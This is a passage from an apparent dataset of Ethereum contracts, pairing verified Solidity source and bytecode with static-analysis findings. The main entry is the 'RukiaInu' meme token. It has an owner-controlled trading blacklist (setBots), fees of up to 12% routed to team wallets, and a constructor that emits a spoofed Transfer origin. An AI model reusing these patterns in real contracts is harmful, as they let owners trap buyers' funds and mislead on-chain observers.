f1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806002015481600001541415611927576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000808201600090556001820160006101000a81549067ffffffffffffffff02191690556001820160086101000a81549067ffffffffffffffff02191690556001820160106101000a81549067ffffffffffffffff0219169055600282016000905550505b50505050565b60008082840190508367ffffffffffffffff168167ffffffffffffffff161015151561195557fe5b8091505092915050565b600082821115151561196d57fe5b818303905092915050565b6000816040015167ffffffffffffffff164210156119995760009050611a62565b816060015167ffffffffffffffff16421015156119d2576119cb8260800151836000015161195f90919063ffffffff16565b9050611a62565b611a5f8260800151611a51611a028560200151866060015167ffffffffffffffff16611e0b90919063ffffffff16565b67ffffffffffffffff16611a43611a30876020015167ffffffffffffffff164261195f90919063ffffffff16565b8760000151611e3890919063ffffffff16565b611e6b90919063ffffffff16565b61195f90919063ffffffff16565b90505b919050565b6000806000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209150611be38260a06040519081016040529081600082015481526020016001820160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016001820160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff1681526020016001820160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff168152602001600282015481525050611978565b9050611bfc818360020154611ded90919063ffffffff16565b82600201819055507f91380886b3dc3bdb2a18ebf38a52b446b7dcb635a27b3da3108cfa439859f6a185858584604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390a1611d6681600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ded90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b6000808284019050838110151515611e0157fe5b8091505092915050565b60008267ffffffffffffffff168267ffffffffffffffff1611151515611e2d57fe5b818303905092915050565b60008082840290506000841480611e595750828482811515611e5657fe5b04145b1515611e6157fe5b8091505092915050565b6000808284811515611e7957fe5b0490508091505092915050565b60a06040519081016040528060008152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff1681526020016000815250905600a165627a7a72305820e4390e1d40e4a063b5f28d565ac0886c8660b755fdfd76c2c02bcbbf486cd8170029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,867 |
0x63407e4860d213ad219d9030b213b39921625614 | /**
*Submitted for verification at Etherscan.io on 2021-10-12
*/
/*
Telegram: t.me/RukiaInu
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RukiaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "RukiaInu";
string private constant _symbol = "RUKIA";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x929242B1Eb71b05Ce9319fa902983Dce3c0383E1), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 2;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f3578063c3c8cd8014610313578063c9567bf914610328578063d543dbeb1461033d578063dd62ed3e1461035d57600080fd5b8063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a5578063a9059cbb146102d357600080fd5b8063273123b7116100dc578063273123b7146101d5578063313ce567146101f75780635932ead1146102135780636fc3eaec1461023357806370a082311461024857600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101b557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600881526752756b6961496e7560c01b60208201525b6040516101539190611979565b60405180910390f35b34801561016857600080fd5b5061017c610177366004611800565b6103a3565b6040519015158152602001610153565b34801561019857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610153565b3480156101c157600080fd5b5061017c6101d03660046117bf565b6103ba565b3480156101e157600080fd5b506101f56101f036600461174c565b610423565b005b34801561020357600080fd5b5060405160128152602001610153565b34801561021f57600080fd5b506101f561022e3660046118f8565b610477565b34801561023f57600080fd5b506101f56104bf565b34801561025457600080fd5b506101a761026336600461174c565b6104ec565b34801561027457600080fd5b506101f561050e565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102b157600080fd5b5060408051808201909152600581526452554b494160d81b6020820152610146565b3480156102df57600080fd5b5061017c6102ee366004611800565b610582565b3480156102ff57600080fd5b506101f561030e36600461182c565b61058f565b34801561031f57600080fd5b506101f5610625565b34801561033457600080fd5b506101f561065b565b34801561034957600080fd5b506101f5610358366004611932565b610a24565b34801561036957600080fd5b506101a7610378366004611786565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b0338484610afa565b5060015b92915050565b60006103c7848484610c1e565b610419843361041485604051806060016040528060288152602001611b65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fb8565b610afa565b5060019392505050565b6000546001600160a01b031633146104565760405162461bcd60e51b815260040161044d906119ce565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a15760405162461bcd60e51b815260040161044d906119ce565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104df57600080fd5b476104e981610ff2565b50565b6001600160a01b0381166000908152600260205260408120546103b490611077565b6000546001600160a01b031633146105385760405162461bcd60e51b815260040161044d906119ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b0338484610c1e565b6000546001600160a01b031633146105b95760405162461bcd60e51b815260040161044d906119ce565b60005b8151811015610621576001600660008484815181106105dd576105dd611b15565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061981611ae4565b9150506105bc565b5050565b600e546001600160a01b0316336001600160a01b03161461064557600080fd5b6000610650306104ec565b90506104e9816110fb565b6000546001600160a01b031633146106855760405162461bcd60e51b815260040161044d906119ce565b601154600160a01b900460ff16156106df5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044d565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071f30826b033b2e3c9fd0803ce8000000610afa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075857600080fd5b505afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107909190611769565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d857600080fd5b505afa1580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108109190611769565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085857600080fd5b505af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108909190611769565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108c0816104ec565b6000806108d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093857600080fd5b505af115801561094c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610971919061194b565b5050601180546a52b7d2dcc80cd2e400000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109ec57600080fd5b505af1158015610a00573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106219190611915565b6000546001600160a01b03163314610a4e5760405162461bcd60e51b815260040161044d906119ce565b60008111610a9e5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044d565b610abf6064610ab96b033b2e3c9fd0803ce800000084611284565b90611303565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044d565b6001600160a01b038216610bbd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044d565b6001600160a01b038216610ce45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044d565b60008111610d465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044d565b6001600a556009600b556000546001600160a01b03848116911614801590610d7c57506000546001600160a01b03838116911614155b15610f5b576001600160a01b03831660009081526006602052604090205460ff16158015610dc357506001600160a01b03821660009081526006602052604090205460ff16155b610dcc57600080fd5b6011546001600160a01b038481169116148015610df757506010546001600160a01b03838116911614155b8015610e1c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e315750601154600160b81b900460ff165b15610e8e57601254811115610e4557600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6957600080fd5b610e7442601e611a74565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610eb957506010546001600160a01b03848116911614155b8015610ede57506001600160a01b03831660009081526005602052604090205460ff16155b15610eee576002600a908155600b555b6000610ef9306104ec565b601154909150600160a81b900460ff16158015610f2457506011546001600160a01b03858116911614155b8015610f395750601154600160b01b900460ff165b15610f5957610f47816110fb565b478015610f5757610f5747610ff2565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f9d57506001600160a01b03831660009081526005602052604090205460ff165b15610fa6575060005b610fb284848484611345565b50505050565b60008184841115610fdc5760405162461bcd60e51b815260040161044d9190611979565b506000610fe98486611acd565b95945050505050565b600e546001600160a01b03166108fc61100c836002611303565b6040518115909202916000818181858888f19350505050158015611034573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61104f836002611303565b6040518115909202916000818181858888f19350505050158015610621573d6000803e3d6000fd5b60006008548211156110de5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044d565b60006110e8611373565b90506110f48382611303565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061114357611143611b15565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119757600080fd5b505afa1580156111ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111cf9190611769565b816001815181106111e2576111e2611b15565b6001600160a01b0392831660209182029290920101526010546112089130911684610afa565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611241908590600090869030904290600401611a03565b600060405180830381600087803b15801561125b57600080fd5b505af115801561126f573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b600082611293575060006103b4565b600061129f8385611aae565b9050826112ac8583611a8c565b146110f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044d565b60006110f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611396565b80611352576113526113c4565b61135d8484846113f2565b80610fb257610fb2600c54600a55600d54600b55565b60008060006113806114e9565b909250905061138f8282611303565b9250505090565b600081836113b75760405162461bcd60e51b815260040161044d9190611979565b506000610fe98486611a8c565b600a541580156113d45750600b54155b156113db57565b600a8054600c55600b8054600d5560009182905555565b60008060008060008061140487611531565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611436908761158e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146590866115d0565b6001600160a01b0389166000908152600260205260409020556114878161162f565b6114918483611679565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114d691815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006115088282611303565b821015611528575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600080600080600080600080600061154e8a600a54600b5461169d565b925092509250600061155e611373565b905060008060006115718e8787876116ec565b919e509c509a509598509396509194505050505091939550919395565b60006110f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb8565b6000806115dd8385611a74565b9050838110156110f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044d565b6000611639611373565b905060006116478383611284565b3060009081526002602052604090205490915061166490826115d0565b30600090815260026020526040902055505050565b600854611686908361158e565b60085560095461169690826115d0565b6009555050565b60008080806116b16064610ab98989611284565b905060006116c46064610ab98a89611284565b905060006116dc826116d68b8661158e565b9061158e565b9992985090965090945050505050565b60008080806116fb8886611284565b905060006117098887611284565b905060006117178888611284565b90506000611729826116d6868661158e565b939b939a50919850919650505050505050565b803561174781611b41565b919050565b60006020828403121561175e57600080fd5b81356110f481611b41565b60006020828403121561177b57600080fd5b81516110f481611b41565b6000806040838503121561179957600080fd5b82356117a481611b41565b915060208301356117b481611b41565b809150509250929050565b6000806000606084860312156117d457600080fd5b83356117df81611b41565b925060208401356117ef81611b41565b929592945050506040919091013590565b6000806040838503121561181357600080fd5b823561181e81611b41565b946020939093013593505050565b6000602080838503121561183f57600080fd5b823567ffffffffffffffff8082111561185757600080fd5b818501915085601f83011261186b57600080fd5b81358181111561187d5761187d611b2b565b8060051b604051601f19603f830116810181811085821117156118a2576118a2611b2b565b604052828152858101935084860182860187018a10156118c157600080fd5b600095505b838610156118eb576118d78161173c565b8552600195909501949386019386016118c6565b5098975050505050505050565b60006020828403121561190a57600080fd5b81356110f481611b56565b60006020828403121561192757600080fd5b81516110f481611b56565b60006020828403121561194457600080fd5b5035919050565b60008060006060848603121561196057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119a65785810183015185820160400152820161198a565b818111156119b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a535784516001600160a01b031683529383019391830191600101611a2e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a8757611a87611aff565b500190565b600082611aa957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ac857611ac8611aff565b500290565b600082821015611adf57611adf611aff565b500390565b6000600019821415611af857611af8611aff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e957600080fd5b80151581146104e957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122043c398e1bcb82fd6e6a824fe480a770134290d4f0c418a03a4d2633c355c140264736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,868 |
0x6B2791F9D332427109C6Dc027aa831C02D42ad42 | /**
*Submitted for verification at Etherscan.io on 2021-10-23
*/
// SPDX-License-Identifier: Unlicensed
/*
..................................}}}}}}}}}}}}}}}}}}}}}}}}#%%%%%%%%%%%%%%%&&%%&&&&&&&&%&&&&&&&&%%%%%%%####(((((((((((}}}}}}}(((((((((((((((((((((((((((((((((##%%&&&&&&&%#((}}}}}}}}}}}}}}}}}}}}}}}}}}}}
..................................}}}}}}}}}}}}}}}}}}}}}}(%%%%%%%%%%%%%%%%&&&&&&&&&&&%%&&&&&&&&&%%%######(((((((((((}(}}}}}}}((((((((((((((((((((((((((((((((((###%&&&&&&%%%(}}}}}}}}}}}}}}}}}}}}}}}}}}}}
..................................}}}}}}}}}}}}}}}}}}}}}(%%%%%%%%%%%%%%%%&&&&&&&&&&&%&&&&&&&&%%%%######(((((((((((}}}}}}}}}}}}}}}(((((((((((((((((((((((((((((((###%&&&&&&%%%(}}}}}}}}}}}}}}}}}}}}}}}}}}}
..................................}}}}}}}}}}}}}}}}}}(}(%%%%%%%%%%%%%%%%&&&&&&&&&&&%&&&&&&&%%%######(((((((((((((}}}}}}}}}}}}}}}}(((((((((((((((((((((((((((((((####%&&&&&&%%#((}}}}}}}}}}}}}}}}}}}}}}}}}
..................................}}}}}}}}}}}}}}}}}}}(%%%%%%%%%%&&&%%%&&&&&&&&&&&&&&&&&%%%%######(((((((((((((}}}}}}}}}}}}}}}}}}(((((((((((((((((((((((((((((((####%&&&&&&%%%#((}}}}}}}}}}}}}}}}}}}}}}}}
....................................}}}}}}}}}}}}}}}}(%%%%%%%%%%&&&%%%&&&&&&&&&&&&&&&&&&%%%######((((((((((((}}}}}}}}}}}}}}}}}}}}}(((((((((((((((((((((((((((((((####%&&&&&&&%%#(}}}}}}}}}}}}}}}}}}}}}}}}
....................................}}}}}}}}}}}}}}}(%%%%%%%%%%&&&%%%&&&&&&&%&&&&&&&&%%%%#####((((((((((((((}}}}}}}}}}}}}}}}}}}}}(((((((((((((((((((((((((((((((((###%&&&&&&&%%%#}}}}}}}}}}}}}}}}}}}}}}}}
....................................}}}}}}}}}}}}}}(#%%%%%&&&&&&&&%%&&&&&&&&&&&&&&&%%%%######((((((((((((((}}}}}}}}}}}}}}}}}}}(((((((((((((((((((((((((((((((((((((###%&&&&&&&%%#(}}}}}}}}}}}}}}}}}}}}}}}
...................................}}}}}}}}}}}}}}(%%%%%%&%%&&&&&&&&&&&&&&&&&&&%%&%%%#######(((((((((((((((((}}((((((((((((}(((((((((((((((((((((((((((((((((((((((###%&&&&&&&%%%#(}}}}}}}}}}}}}}}}}}}}}}
